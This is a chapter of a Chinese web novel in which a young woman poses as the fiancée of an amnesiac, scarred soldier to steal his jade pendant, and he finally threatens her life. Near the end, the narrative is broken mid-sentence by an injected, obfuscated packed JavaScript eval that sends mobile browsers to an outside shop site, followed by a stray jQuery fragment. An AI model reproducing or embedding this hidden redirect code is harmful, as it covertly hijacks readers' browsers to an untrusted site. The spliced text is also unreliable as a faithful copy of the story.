文趣网 > 其他小说 > 病树枝头 > 4.挖野菜
    这一夜,雨声里隔着一道墙,两处心思各不相同。

    编的故事里,芙蕖是真心认为李恪是个江湖逃犯的,在她不多的见识里,李恪就是她见过最大的恶贼。只是,现在她又觉得不太像。

    可芙蕖没见过恶人,她不知道恶人会不会劈柴挑水。

    也怕他是真恶人,最后真的将她杀了可怎么好!

    她隐约觉得自己编的不甚高明,很有点不好的预感。

    从长安逃到襄州的经历,全都改自她的亲身经历。短时间内凭空编造一个人太容易露馅,所以芙蕖用了表兄的名字,这样不管那恶贼怎么盘问,她都可以对答如流。

    但让她心中不安的是,那恶贼偏偏什么都没问。

    ……

    第二日,雨下得更大了。暴雨的山中极为危险,无法赶路,他们就继续在此地盘桓。

    芙蕖心中焦急,却也没有办法。

    她清晨起来,便借口要给他洗衣服,去了柴房。芙蕖假装收拾东西,悄悄的翻他的外袍。

    半掩着的门外,李恪正在吃早食。

    他目力极佳,能很清晰地看见她在里面翻东西。

    这次醒来后,李恪身上只有一把横刀,一块玉佩。横刀就放在他的左手边,那自然只剩下玉佩了。

    芙蕖没找到玉佩,也不好半途而废。她装模作样地抱怨,“兄长,怎么沾了那么多的血?”

    长安米贵,杜家只养得起一个老仆,不过,巷子里有洗衣娘子,只收五文钱一桶。所以芙蕖是没有洗过衣裳的,但是借口已经说出口,她只好硬着头皮替他洗衣裳。

    芙蕖一碰,便发觉了这件黑色的外袍布料极为华贵,暗纹很精细,并不是寻常人家穿得起的。她的阿耶是穿不起的,她只见过崔元衡穿这样的衣裳。然而每次和崔元衡站在一起,她总会觉得自己穿得很寒酸。

    不过,她很快就没工夫乱想了,因为她胡乱洗着,发现那黑色外袍底下全是血。

    血越洗越多,在雨水的冲刷下,淌了一地。

    芙蕖越看越害怕,便开始和李恪讲起来他们的恩爱过去。

    她说她抛弃家里人,拒绝了世家公子的求娶,和他私奔。最艰难的时候,甚至为了他去山上挖了好久的野菜。

    他想:嗯,王宝钏。

    昨天还是赵云七进七出救阿斗——他是赵云,她是阿斗。

    感觉到身后那道视线安静地落在她的后背上,她的声音更大了一些。

    但是讲着讲着,芙蕖停住了。

    黑色衣摆的下方有些碎渣,显然不是什么泥巴。她定睛一看,发现是人类的碎渣。那显然是手起刀落的时候,横刀扬起的血肉碎末。

    她讲不下去了。

    李恪看了她半天,吃完了朝食。

    走过去自己把衣裳洗了。

    他的手很大,所以三两下就搓干净了。行伍中条件艰苦,偶尔急行军几天几夜都不能合眼,就算是失忆了,干活也是极利落的。

    挂衣服的时候,芙蕖忍住恐惧,眼巴巴地凑过来,“兄长,我帮你——”

    他低下头。

    芙蕖怯怯地发现他真的很高。

    愣神的功夫,他已经干完活,出门去了。

    芙蕖连忙追出去问他要去做什么。

    李恪说:“挖野菜。”

    ……

    此时,山下却已是兵荒马乱。因为丢了个贵人,闹得满城风雨,天不亮便有大批人马冒雨出动,搜山的搜山,封路的封路。晋王的亲随自不必说,就连本州府的衙役、府兵也被调了大半。

    然而,就算封锁了消息,整座襄州城还是暗流涌动了起来,各路心思不明的人像嗅到血腥味的豺狗,纷纷涌向此处。

    有人要找人,有人要杀人,还有人想趁乱浑水摸鱼。

    然而,随着一场暴雨倾盆而下,泥石堵住了上山的路,也将一切纷争与杀机都拦在了山下。

    早上还下着雨,李恪捡着檐下挂着的旧蓑衣出了一趟门。

    他先是沿着昨夜走过的地方,将足迹痕迹一一抹去,这是在行伍中养成的本能。又寻了一处视野开阔的位置。此时雨很大,山下仍然有许多星星点点的火把,像是在找人。

    李恪全然忘记了前尘旧事,底下的人也分不清敌友。于是只是确认了山路短时间不会有人上来后,便收回了视线。

    ……

    中午时,雨越下越大。

    芙蕖隐约感觉自己露出了一点马脚,但又不知道是哪里漏的馅。她手忙脚乱,感觉自己变成了蜘蛛,有很多的脚,一时半会不知要藏起来哪一条。

    她心中知道迟早要被拆穿,芙蕖打算干脆速战速决,这两日尽快想办法拿了玉佩就逃走。

    于是等到雨幕里李恪回来了,她立马凑了上去喊兄长。

    她带了换洗的衣服,此时已是换了条荷绿色的襦裙,凑近了他湿漉漉的蓑衣。

    蓑衣掉落雨水汇成了一小洼,末端不可避免地沾上了一些灰和泥。

    李恪停顿了片刻,不找痕迹地离她的裙摆远了些。

    她问,“兄长,你可有想起什么来?”

    李恪说没有。

    她期期艾艾地提醒,“兄长,你还记得来的路上,打算给我的定情信物么?”

    他摘下了斗笠,干脆道,“不记得了。”

    她说那是他们的定情信物,在逃亡路上他们的财物都遗失了,只剩下了一块定情信物;如今他们已经私定终身,那玉佩已算是聘礼了。

    她很是期待地看着他。

    李恪的视线,从她靠得太近,快要挨上他乌靴的绣鞋上收回来。只是“嗯”了一声,然后——就去劈柴了。接下来一句没提玉佩的事,也没说要把“定情信物”给她。

    做贼的,也不好还怪人不给她骗,只能自己独自着急。

    芙蕖早在上午他离开后,就翻遍了屋里,便知那玉佩只可能在他的身上。

    早上洗完衣服后,芙蕖在屋中越想越害怕。想到那些人类碎渣,她就坐立难安。她觉得要是被发现后,以李恪之凶残,她的一颗大好头颅就要飞出去了。

    据说,脑袋离开身体后,还有残留的意识,甚至可以看见自己分离开的身体。

    她坐立难安,如果不做点什么,真的会被心中翻涌的担忧和恐惧打倒。阿娘教过她,如果害怕就不要去想,少想多做。她就一心一意跟在他后面。

    他劈柴她跟着,他烧水她也跟着。

    李恪看着那双绣鞋绕着他转来转去,好几次差点踩到他。

    吃过午饭后,芙蕖提着裙摆出去,想继续追着人软磨硬泡,发现人不见了。

    山中下雨,外头雨幕朦胧。

    她在门口张望,“兄长?兄长?”

    她当然找不到了。

    李恪在屋顶。

    ……

    接下来一整个白天,芙蕖都没有找到人。她不仅连玉佩的影子都见不到,人都要找不到了。

    梦中的那位小姐是十二日捡到的玉佩,约莫半年后就跟着来接她的队伍去了长安。芙蕖不知道中间发生了什么,但为了不错过长安来的车马,当然是越快拿到玉佩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970328|214541||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    越好。而且,她心中总有些隐约的不安。

    这天夜里,芙蕖睁着眼睛一夜没睡。一直到约莫是凌晨时分,隔壁已经许久没有任何动静,显然已经是睡熟了,芙蕖这才悄悄坐了起来。

    为了不弄出动静,连鞋袜都没有穿。

    ……

    李恪不喜欢雨水的潮湿。因为雨水会渗入覆面的布条,带来挥之不去的潮湿。

    他也不喜欢火带来的灼热感,所以那些洗净烘干的布条,要等到散去热气了才能用。

    雨夜里,他正在缠着身上的黑色布条。

    他的身上有许多陈年的疤,从脸颊蔓延到脖颈和手臂,甚至是手指。那是陈年的,烈火中被烧灼过的烫伤疤,像是树根爬在皮肤上。只有用黑布缠好,才看起来没有那么狰狞。

    李恪也是极畏风的。明明被灼烧过的地方早就长好了疤,接触到风的时候仍然会觉得刺痛。只有严严实实地隔绝了对外界的接触,才能稍微减轻些痛感。

    他这样的人,哪怕是前尘尽忘,也是本能极不喜欢别人靠近和触碰的。所以白日里她靠得很近,他总下意识地拉开距离。

    他什么都不记得了,但动作却像是重复了千万次般熟练,以至于在黑暗里不需要摸索就能快速缠好。他将一只手缠得密不透风,开始缠另外一只手。突然,他听见了隔壁的细小的动静。

    轻轻的落地声,像是小鸟踩雪。窸窸窣窣一阵子,停在了他的门外。

    确认里面的人没有动静后,芙蕖推开了柴房的门。

    山间夜雨,灯全都熄灭后,是伸手不见五指的黑暗。

    李恪维持着原来的动作,一动不动。芙蕖摸索过去,想要去找他贴身衣物里的玉佩。但是靠近摸索了半天,她发现这人还坐着,顿时一惊,跌倒在地上。

    她说,“兄长,我……”

    她下意识地想抓住他的手站起来,但在碰到摸到手上的疤之前,李恪猛地抓住了她的手腕。

    那一瞬间还算沉稳平静的表象消失了,他低下头,瞬间如同猛虎在侧。

    李恪说,“出去。”

    风雨欲来,叫她惊慌失措,想要站起来,又被襦裙绊得跌倒,整个人朝着他扑过去。

    黑暗里,他还没有缠好黑布,脸上狰狞的疤痕还在空气中;哪怕知道黑暗里她看不见,李恪还是下意识偏过头去。

    他不再管她还在手忙脚乱,径直将她拎起来,扔了出去。

    ……

    芙蕖惊魂未定,跌在地上许久才起来。

    她回去便想收拾行李连夜逃走,但刚刚一出门,外面就下起来了瓢泼大雨。此时的山间和城里不同,这样暴雨的夜晚是没法走的,不仅完全看不见路,还有虎狼出没。

    其实这事是很好解释的,因为他们是“未婚夫妻”,半夜去找他再合理不过。但芙蕖也是会看人脸色的,她隐约感觉到自己可能坏了事。

    她心中惊慌,可此时解释更显得她欲盖弥彰。

    于是在门口犹豫了半天。

    ——要不还是去睡觉吧。

    她惴惴不安地回了床上睡觉。

    第二天,李恪照例砍柴、烧水,看起来和前两日没什么分别。

    甚至和昨日一样给她留了碗温水。

    芙蕖慢慢放下心来。

    等到雨小停了之后,她借口掉了东西要回头去寻,就要悄悄离开这间山中木屋。

    但当她刚刚抬脚,想要逃之夭夭的时候。

    她听见有个沙哑的嗓音,淡淡地开口,

    “再走出去一步,我便杀了你。”